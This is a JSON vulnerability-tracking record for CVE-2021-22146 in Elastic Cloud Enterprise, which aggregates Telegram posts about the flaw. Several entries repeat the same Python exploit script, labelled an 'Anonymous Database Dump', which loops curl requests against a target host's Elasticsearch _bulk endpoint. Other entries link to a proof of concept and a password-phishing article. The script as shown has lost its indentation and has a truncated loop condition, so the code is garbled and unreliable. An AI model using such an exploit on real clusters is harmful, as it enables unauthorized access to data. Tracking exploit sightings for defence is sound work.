{"vulnerability": "CVE-2021-22146", "sightings": [{"uuid": "effc2bcd-1aa0-4d49-9532-9e4524b3b2cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/arpsyndicate/3240", "content": "#ExploitObserverAlert\n\nCVE-2021-22146\n\nDESCRIPTION: Exploit Observer has 7 entries in 4 file formats related to CVE-2021-22146. All versions of Elastic Cloud Enterprise has the Elasticsearch \u201canonymous\u201d user enabled by default in deployed clusters. While in the default setting the anonymous user has no permissions and is unable to successfully query any Elasticsearch APIs, an attacker could leverage the anonymous user to gain insight into certain details of a deployed cluster.\n\nFIRST-EPSS: 0.015230000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-28T06:55:40.000000Z"}, {"uuid": "8a399324-51a8-4a04-92f5-4028419e1ac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3937", "content": "#exploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\nhttps://github.com/magichk/cve-2021-22146", "creation_timestamp": "2021-07-28T11:01:01.000000Z"}, {"uuid": "741df5cc-d892-41eb-893e-0ee2e89b458c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/cissp/3912", "content": "Red Team Tactics\nHow to Phish for User Passwords with PowerShell\ud83d\ude03\nhttps://www.blackhillsinfosec.com/how-to-phish-for-user-passwords-with-powershell\n\nThreat Research\n1. Use-after-free vulnerabilities in Foxit PDF Reader (CVE-2021-21831, CVE-2021-21870, CVE-2021-21893)\nhttps://blog.talosintelligence.com/2021/07/vulnerability-spotlight-use-after-free.html?m=1\n2. Sunhillo SureLine Unauthenticated OS Command Injection (PoC for CVE-2021-36380)\nhttps://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380\n\nexploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\ud83e\udd28\nhttps://github.com/magichk/cve-2021-22146\n\nCloud Security\nBlue Team Techniques\nThe Istio Service Mesh - Security Best Practices\nhttps://istio.io/latest/docs/ops/best-practices/security", "creation_timestamp": "2026-09-01T17:00:45.269297Z"}, {"uuid": "58d5850f-6ba5-4d9f-a4d2-8516c505bc19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.841294Z"}, {"uuid": "35c548d7-1ebd-461b-a884-2c54c148630f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.587136Z"}, {"uuid": "d2694443-fdce-4f2c-b068-e80c4797c7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/cissp/3912", "content": "Red Team Tactics\nHow to Phish for User Passwords with PowerShell\ud83d\ude03\nhttps://www.blackhillsinfosec.com/how-to-phish-for-user-passwords-with-powershell\n\nThreat Research\n1. Use-after-free vulnerabilities in Foxit PDF Reader (CVE-2021-21831, CVE-2021-21870, CVE-2021-21893)\nhttps://blog.talosintelligence.com/2021/07/vulnerability-spotlight-use-after-free.html?m=1\n2. Sunhillo SureLine Unauthenticated OS Command Injection (PoC for CVE-2021-36380)\nhttps://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380\n\nexploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\ud83e\udd28\nhttps://github.com/magichk/cve-2021-22146\n\nCloud Security\nBlue Team Techniques\nThe Istio Service Mesh - Security Best Practices\nhttps://istio.io/latest/docs/ops/best-practices/security", "creation_timestamp": "2026-09-02T01:04:31.973399Z"}, {"uuid": "b10f1bc0-5a7b-43d5-af84-5437d84b7f0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.334226Z"}, {"uuid": "5b9e4c57-a854-4bda-805c-6a630c49c2a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17855", "content": "Exploit Collector\nElasticsearch ECE 7.13.3 Database Disclosure\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nElasticsearch ECE version 7.13.3 anonymous database dumping exploit.\n\nMD5 | 4ac1b7bc67c52c5c05cd6ea91a56b7e3\n\nDownload\n# Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump\n# Date: 2021-07-21\n# Exploit Author: Joan Martinez @magichk\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://www.elastic.co/\n# Version: >= 7.10.0 to <=\n# Tested on: Elastic ECE (Cloud)\n# CVE : CVE-2021-22146\n# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 \n\nimport os\nimport argparse\nimport sys\n\n######### Check Arguments\ndef checkArgs():\nparser = argparse.ArgumentParser()\nparser = argparse.ArgumentParser(description='Elasticdump 1.0\\n')\nparser.add_argument('-s', \"--host\", action=\"store\",\ndest='host',\nhelp=\"Host to attack.\")\nparser.add_argument('-p', \"--port\", action=\"store\",\ndest='port',\nhelp=\"Elastic search port by default 9200 or 9201\")\nparser.add_argument('-i', \"--index\", action=\"store\",\ndest='index',\nhelp=\"Index to dump (Example: 30)\")\nargs = parser.parse_args()\nif (len(sys.argv)==1) or (args.host==False) or (args.port==False) or (args.index==False and arg.dump==False) :\nparser.print_help(sys.stderr)\nsys.exit(1)\nreturn args\n\ndef banner():\nprint(\"      _           _   _         _\")\nprint(\"  ___| | __ _ ___| |_(_) ___ __| |_   _ _ __ ___  _ __\")\nprint(\" / _ \\ |/ _` / __| __| |/ __/ _` | | | | '_ ` _ \\| '_ \\ \")\nprint(\"|  __/ | (_| \\__ \\ |_| | (_| (_| | |_| | | | | | | |_) |\")\nprint(\" \\___|_|\\__,_|___/\\__|_|\\___\\__,_|\\__,_|_| |_| |_| .__/\")\nprint(\"                                                 |_|\")\ndef exploit(host,port,index):\n\nif (index != 0):\nfinal = int(index)\nelse:\nfinal = 1000000000\n\ncont = 0\nwhile (cont <=\nos.system(\"curl -X POST \\\"\"+host+\":\"+port+\"/_bulk\\\" -H 'Content-Type: application/x-ndjson' --data-binary $'{\\x0d\\x0a\\\"index\\\"  :  {\\x0d\\x0a \\\"_id\\\" :\\\"\"+str(cont)+\"\\\"\\x0d\\x0a}\\x0d\\x0a}\\x0d\\x0a' -k -s\")\ncont = cont + 1\n\nif __name__ == \"__main__\":\n\nbanner()\nargs = checkArgs()\nif (args.index):\nexploit(args.host,args.port,args.index)\nelse:\nexploit(args.host,args.port,0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:11.125824Z"}, {"uuid": "2646edce-22d8-49d2-ab4e-aba41e45e85a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22146", "type": "seen", "source": "https://t.me/cissp/3912", "content": "Red Team Tactics\nHow to Phish for User Passwords with PowerShell\ud83d\ude03\nhttps://www.blackhillsinfosec.com/how-to-phish-for-user-passwords-with-powershell\n\nThreat Research\n1. Use-after-free vulnerabilities in Foxit PDF Reader (CVE-2021-21831, CVE-2021-21870, CVE-2021-21893)\nhttps://blog.talosintelligence.com/2021/07/vulnerability-spotlight-use-after-free.html?m=1\n2. Sunhillo SureLine Unauthenticated OS Command Injection (PoC for CVE-2021-36380)\nhttps://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380\n\nexploit\nCVE-2021-22146:\nElasticsearch ECE 7.13.x - The manipulation with an unknown input leads to a privilege escalation vulnerability (PoC)\ud83e\udd28\nhttps://github.com/magichk/cve-2021-22146\n\nCloud Security\nBlue Team Techniques\nThe Istio Service Mesh - Security Best Practices\nhttps://istio.io/latest/docs/ops/best-practices/security", "creation_timestamp": "2026-09-11T00:00:08.471374Z"}]}